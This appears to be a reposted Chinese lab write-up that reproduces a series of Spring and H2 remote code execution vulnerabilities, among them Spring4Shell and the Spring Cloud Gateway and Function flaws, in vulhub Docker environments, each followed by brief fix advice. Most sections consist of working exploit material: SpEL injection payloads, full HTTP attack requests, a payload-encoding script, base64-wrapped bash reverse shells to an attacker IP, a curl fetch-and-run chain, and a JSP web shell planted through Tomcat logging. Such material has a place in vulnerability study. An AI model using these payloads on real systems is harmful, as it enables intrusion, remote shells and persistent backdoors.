原文地址:https://silentx.gitee.io/2022/09/11/spring/
漏洞成因:Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
参考链接:https://blog.knownsec.com/2016/10/spring-security-oauth-rce/
2.1.使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/spring/CVE-2016-4977 //进入CVE-2016-4977目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
3.1.测试漏洞是否存在
使用admin:admin登录,访问以下链接成功执行spel表达式
http://192.168.1.242:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
3.2.漏洞利用
Java反弹shell,将命令进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
使用py文件生成spel表达式
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
反弹shell成功
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vCtG5kzh-1663156910598)(https://silentx.gitee.io/img/29.4.png)]
1.使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel视图。
2.使用 2.0.x 版本的用户升级到 2.0.10 以及更高的版本
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架,可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
参考链接:https://paper.seebug.org/322/
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2017-4971/
首先来到http://192.168.1.242:8080/login,使用左边账户密码登录
在Search String中输入1,查找编号为1的酒店,然后点击预定酒店,填写信息后,来到确定订单的界面。使用burp抓包,点击confirm。
添加url编码后反弹shell的poc
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.1.152/6666 0>&1")).start()=aaa
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.152/6666 0>%261")).start()=aaa #编码后的poc
反弹shell成功
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.152/6666 0>%261")).start()=aaa #编码后的poc
升级到2.4.6
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
参考链接:[http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/](http://xxlegend.com/2017/09/29/Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/)
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2017-8046/
访问http://192.168.1.242:8080/
使用py脚本将反弹shell的payload转为ASCII码
payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
bcode = ','.join(str(i) for i in list(payload))
print(bcode)
发包
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ASCII encoded command}))/lastname", "value": "vulhub" }]
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,85,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
反弹shell成功
升级到最新版本可防护漏洞
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
参考链接:https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2018-1270/
访问http://192.168.1.242:8080/,在浏览器数据包中找到app.js,更改connect()函数
function connect() {
+ var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /1.txt')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
+ },header);
});
}
将更改后的app.js中的代码复制出来,在浏览器concole中调试运行。然后在web页面点击连接后,在name处随便输入一些内容,最后发送。
成功创建1.txt
修改payload反弹shell
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}')"};
同样修改app.js,浏览器控制台执行
反弹shell成功
升级到最新版本可防护漏洞
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
参考链接:https://baijiahao.baidu.com/s?id=1727365936415129211&wfr=spider&for=pc
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2018-1273/
访问http://192.168.1.242:8080/users,提交表单注册抓包。
在username字段后面插入payload
POST: username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("PAYLOAD")]=&password=&repeatedPassword=
在本地启一个python服务
python -m http.server 1234
通过curl使靶机远程下载反弹shell的脚本
bash -i >& /dev/tcp/192.168.1.152/6666 0>&1 # exp.sh
curl -o /tmp/shell.sh http://192.168.1.152:1234/exp.sh
这里看到靶机已经发出get请求
继续发送payload赋予权限
chmod +x /tmp/shell.sh
最后执行shell文件
/bin/bash /tmp/shell.sh
反弹shell成功
将pom.xml中的org.springframework.boot设置为1.13.11版本或更新版本。
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
参考链接:http://cn-sec.com/archives/828187.html
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2022-22947/
发送如下数据包即可添加一个包含恶意SpEL表达式的路由
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
发送如下数据包刷新路由,这个数据包将触发SpEL表达式的执行
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
发送如下数据包即可查看执行结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-corsBP9O-1663156910623)(https://silentx.gitee.io/img/29.24.png)]
删除路由
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
使用py脚本反弹shell
https://github.com/aodsec/CVE-2022-22947/blob/main/CVE-2022-22947.py
3.1.x版本用户及时升级到3.1.1+
3.0.x版本用户及时升级到3.0.7+
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
参考链接:https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2022-22963/
发包反弹shell
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("exp")
Content-Type: text/plain
Content-Length: 4
test
反弹成功
升级 org.springframework.cloud:spring-cloud-function-context 到 3.2.2 的下一版本
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
参考链接:https://blog.csdn.net/god_zzZ/article/details/124029497
2.1.使用vulhub的docker环境一键部署
vulhub-master/spring/CVE-2022-22965/
http://192.168.1.242:8080/?name=xx&age=18
发包写入shell
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
执行命令(执行一次命令,就会向日志里面写一次jsp马的内容)
http://192.168.1.242:8080/tomcatwar.jsp?pwd=j&cmd=id
访问以下url停止写入日志
http://192.168.1.242:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
临时:(1)在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class.”,“.class.”,“.Class.”}。
(2)在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。
永久:更新版本。
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
参考链接:https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e
2.1.使用vulhub的docker环境一键部署
vulhub-master/h2database/h2-console-unacc
下载JNDI工具
https://github.com/welk1n/JNDI-Injection-Exploit
本地运行进行反弹shell。( Listening on 0.0.0.0:1099;rmi://192.168.1.152:1099/dxxf0r)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.152
在http://192.168.1.242:8080/h2-console/提交表单后,点击连接即可反弹shell
Driver Class: javax.naming.InitialContext
JDBC URL: rmi://192.168.1.152:1099/dxxf0r
关闭H2 Database Console或者不允许外部用户访问Web管理页面